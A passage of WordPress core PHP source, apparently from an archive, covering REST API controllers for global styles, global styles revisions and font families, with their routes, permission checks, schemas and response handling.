	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {
		$rels = array();

		$post_type = get_post_type_object( $post->post_type );
		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'edit_css' ) ) {
			$rels[] = 'https://api.w.org/action-edit-css';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the global styles collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array();
	}

	/**
	 * Retrieves the global styles type' schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'       => array(
					'description' => __( 'ID of global styles config.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'   => array(
					'description' => __( 'Global styles.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'settings' => array(
					'description' => __( 'Global settings.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'title'    => array(
					'description' => __( 'Title of the global styles variation.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the global styles variation, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_item_permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_posts capability.
		 * This capability is required to view global styles.
		 */
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		/*
		 * Verify if the current user has edit_theme_options capability.
		 */
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read_global_styles',
			__( 'Sorry, you are not allowed to access the global styles on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_item( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$theme  = WP_Theme_JSON_Resolver::get_merged_data( 'theme' );
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = $theme->get_settings();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$raw_data       = $theme->get_raw_data();
			$data['styles'] = isset( $raw_data['styles'] ) ? $raw_data['styles'] : array();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = array(
				'self' => array(
					'href' => rest_url( sprintf( '%s/%s/themes/%s', $this->namespace, $this->rest_base, $request['stylesheet'] ) ),
				),
			);
			$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme );
			if ( ! empty( $resolved_theme_uris ) ) {
				$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
			}
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 6.0.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_items_permissions_check( $request ) {
		return $this->get_theme_item_permissions_check( $request );
	}

	/**
	 * Returns the given theme global styles variations.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Returns parent theme variations, if they exist.
	 * @since 6.6.0 Added custom relative theme file URIs to `_links` for each item.
	 *
	 * @param WP_REST_Request $request The request instance.
	 *
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_items( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$response = array();

		// Register theme-defined variations e.g. from block style variation partials under `/styles`.
		$partials = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
		wp_register_block_style_variations_from_theme_json_partials( $partials );

		$variations = WP_Theme_JSON_Resolver::get_style_variations();
		foreach ( $variations as $variation ) {
			$variation_theme_json = new WP_Theme_JSON( $variation );
			$resolved_theme_uris  = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $variation_theme_json );
			$data                 = rest_ensure_response( $variation );
			if ( ! empty( $resolved_theme_uris ) ) {
				$data->add_links(
					array(
						'https://api.w.org/theme-file' => $resolved_theme_uris,
					)
				);
			}
			$response[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $response );
	}

	/**
	 * Validate style.css as valid CSS.
	 *
	 * Currently just checks for invalid markup.
	 *
	 * @since 6.2.0
	 * @since 6.4.0 Changed method visibility to protected.
	 *
	 * @param string $css CSS to validate.
	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
	 */
	protected function validate_custom_css( $css ) {
		if ( preg_match( '#</?\w+#', $css ) ) {
			return new WP_Error(
				'rest_custom_css_illegal_markup',
				__( 'Markup is not allowed in CSS.' ),
				array( 'status' => 400 )
			);
		}
		return true;
	}
}
endpoints/class-wp-rest-global-styles-revisions-controller.php000064400000030606151724720270020757 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Revisions_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * Core class used to access global styles revisions via the REST API.
 *
 * @since 6.3.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Global_Styles_Revisions_Controller extends WP_REST_Revisions_Controller {
	/**
	 * Parent controller.
	 *
	 * @since 6.6.0
	 * @var WP_REST_Controller
	 */
	private $parent_controller;

	/**
	 * The base of the parent controller's route.
	 *
	 * @since 6.3.0
	 * @var string
	 */
	protected $parent_base;

	/**
	 * Parent post type.
	 *
	 * @since 6.6.0
	 * @var string
	 */
	protected $parent_post_type;

	/**
	 * Constructor.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Extends class from WP_REST_Revisions_Controller.
	 *
	 * @param string $parent_post_type Post type of the parent.
	 */
	public function __construct( $parent_post_type = 'wp_global_styles' ) {
		parent::__construct( $parent_post_type );
		$post_type_object  = get_post_type_object( $parent_post_type );
		$parent_controller = $post_type_object->get_rest_controller();

		if ( ! $parent_controller ) {
			$parent_controller = new WP_REST_Global_Styles_Controller( $parent_post_type );
		}

		$this->parent_controller = $parent_controller;
		$this->rest_base         = 'revisions';
		$this->parent_base       = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name;
		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controller's routes.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added route to fetch individual global styles revisions.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the global styles revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the global styles revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns decoded JSON from post content string,
	 * or a 404 if not found.
	 *
	 * @since 6.3.0
	 *
	 * @param string $raw_json Encoded JSON from global styles custom post content.
	 * @return Array|WP_Error
	 */
	protected function get_decoded_global_styles_json( $raw_json ) {
		$decoded_json = json_decode( $raw_json, true );

		if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) {
			return $decoded_json;
		}

		return new WP_Error(
			'rest_global_styles_not_found',
			__( 'Cannot find user global styles revisions.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Returns paginated revisions of the given global styles config custom post type.
	 *
	 * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items,
	 * but global styles does not require as many parameters.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );

		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$query_args = array(
				'post_parent'    => $parent->ID,
				'post_type'      => 'revision',
				'post_status'    => 'inherit',
				'posts_per_page' => -1,
				'orderby'        => 'date ID',
				'order'          => 'DESC',
			);

			$parameter_mappings = array(
				'offset'   => 'offset',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$query_args[ $wp_param ] = $request[ $api_param ];
				}
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$query_args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
				$query_args['update_post_term_cache'] = false;
				$query_args['update_post_meta_cache'] = false;
			}

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query again without LIMIT for total count.
				unset( $query_args['paged'], $query_args['offset'] );
				$count_query = new WP_Query();
				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}
			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added resolved URI links to the response.
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		$parent               = $this->get_parent( $request['parent'] );
		$global_styles_config = $this->get_decoded_global_styles_json( $post->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$fields     = $this->get_fields_for_response( $request );
		$data       = array();
		$theme_json = null;

		if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) {
			$theme_json           = new WP_Theme_JSON( $global_styles_config, 'custom' );
			$global_styles_config = $theme_json->get_raw_data();
			if ( rest_is_field_included( 'settings', $fields ) ) {
				$data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass();
			}
			if ( rest_is_field_included( 'styles', $fields ) ) {
				$data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass();
			}
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $post->ID;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $parent->ID;
		}

		$context             = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data                = $this->add_additional_fields_to_object( $data, $request );
		$data                = $this->filter_response_by_context( $data, $context );
		$response            = rest_ensure_response( $data );
		$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );

		if ( ! empty( $resolved_theme_uris ) ) {
			$response->add_links(
				array(
					'https://api.w.org/theme-file' => $resolved_theme_uris,
				)
			);
		}

		return $response;
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Merged parent and parent controller schema data.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema               = parent::get_item_schema();
		$parent_schema        = $this->parent_controller->get_item_schema();
		$schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] );

		unset(
			$schema['properties']['guid'],
			$schema['properties']['slug'],
			$schema['properties']['meta'],
			$schema['properties']['content'],
			$schema['properties']['title']
		);

			$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 * Removes params that are not supported by global styles revisions.
	 *
	 * @since 6.6.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		unset(
			$query_params['exclude'],
			$query_params['include'],
			$query_params['search'],
			$query_params['order'],
			$query_params['orderby']
		);
		return $query_params;
	}
}
endpoints/class-wp-rest-font-families-controller.php000060400000042152151724720270016707 0ustar00<?php
/**
 * REST API: WP_REST_Font_Families_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Font Families Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Families_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Checks if a given request has access to font families.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font families.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font family.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font family settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_font_family_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: Parameter name: "font_family_settings". */
				sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ),
				array( 'status' => 400 )
			);
		}

		$schema   = $this->get_item_schema()['properties']['font_family_settings'];
		$required = $schema['required'];

		if ( isset( $request['id'] ) ) {
			// Allow sending individual properties if we are updating an existing font family.
			unset( $schema['required'] );

			// But don't allow updating the slug, since it is used as a unique identifier.
			if ( isset( $settings['slug'] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of parameter being updated: font_family_settings[slug]". */
					sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that the font face settings match the theme.json schema.
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */
					sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font family settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font family settings.
	 * @return array Decoded array of font family settings.
	 */
	public function sanitize_font_family_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_family_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Creates a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$settings = $request->get_param( 'font_family_settings' );

		// Check that the font family slug is unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'name'                   => $settings['slug'],
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_family',
				/* translators: %s: Font family slug. */
				sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ),
				array( 'status' => 400 )
			);
		}

		return parent::create_item( $request );
	}

	/**
	 * Deletes a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font families.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font family output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}

		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'font_faces', $fields ) ) {
			$data['font_faces'] = $this->get_font_face_ids( $item->ID );
		}

		if ( rest_is_field_included( 'font_family_settings', $fields ) ) {
			$data['font_family_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font family data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font family post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                   => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version'   => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_faces'           => array(
					'description' => __( 'The IDs of the child font faces in the font family.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
					'items'       => array(
						'type' => 'integer',
					),
				),
				// Font family settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_family_settings' => array(
					'description'          => __( 'font-face definition in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'name'       => array(
							'description' => __( 'Name of the font family preset, translatable.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'slug'       => array(
							'description' => __( 'Kebab-case unique identifier for the font family preset.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_title',
							),
						),
						'fontFamily' => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'preview'    => array(
							'description' => __( 'URL to a preview image of the font family.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'name', 'slug', 'fontFamily' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font family collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font family controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_family_collection_params', $query_params );
	}

	/**
	 * Get the arguments used when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font family create/edit arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) {
			$properties = $this->get_item_schema()['properties'];
			return array(
				'theme_json_version'   => $properties['theme_json_version'],
				// When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data.
				// Font families don't currently support file uploads, but may accept preview files in the future.
				'font_family_settings' => array(
					'description'       => __( 'font-family declaration in theme.json format, encoded as a string.' ),
					'type'              => 'string',
					'required'          => true,
					'validate_callback' => array( $this, 'validate_font_family_settings' ),
					'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ),
				),
			);
		}

		return parent::get_endpoint_args_for_item_schema( $method );
	}

	/**
	 * Get the child font face post IDs.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return int[] Array of child font face post IDs.
	 */
	protected function get_font_face_ids( $font_family_id ) {
		$query = new WP_Query(
			array(
				'fields'                 => 'ids',
				'post_parent'            => $font_family_id,
				'post_type'              => 'wp_font_face',
				'posts_per_page'         => 99,
				'order'                  => 'ASC',
				'orderby'                => 'id',
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);

		return $query->posts;
	}

	/**
	 * Prepares font family links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = parent::prepare_links( $post );

		return array(
			'self'       => $links['self'],
			'collection' => $links['collection'],
			'font_faces' => $this->prepare_font_face_links( $post->ID ),
		);
	}

	/**
	 * Prepares child font face links for the request.
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return array Links for the child font face posts.
	 */
	protected function prepare_font_face_links( $font_family_id ) {
		$font_face_ids = $this->get_font_face_ids( $font_family_id );
		$links         = array();
		foreach ( $font_face_ids as $font_face_id ) {
			$links[] = array(
				'embeddable' => true,
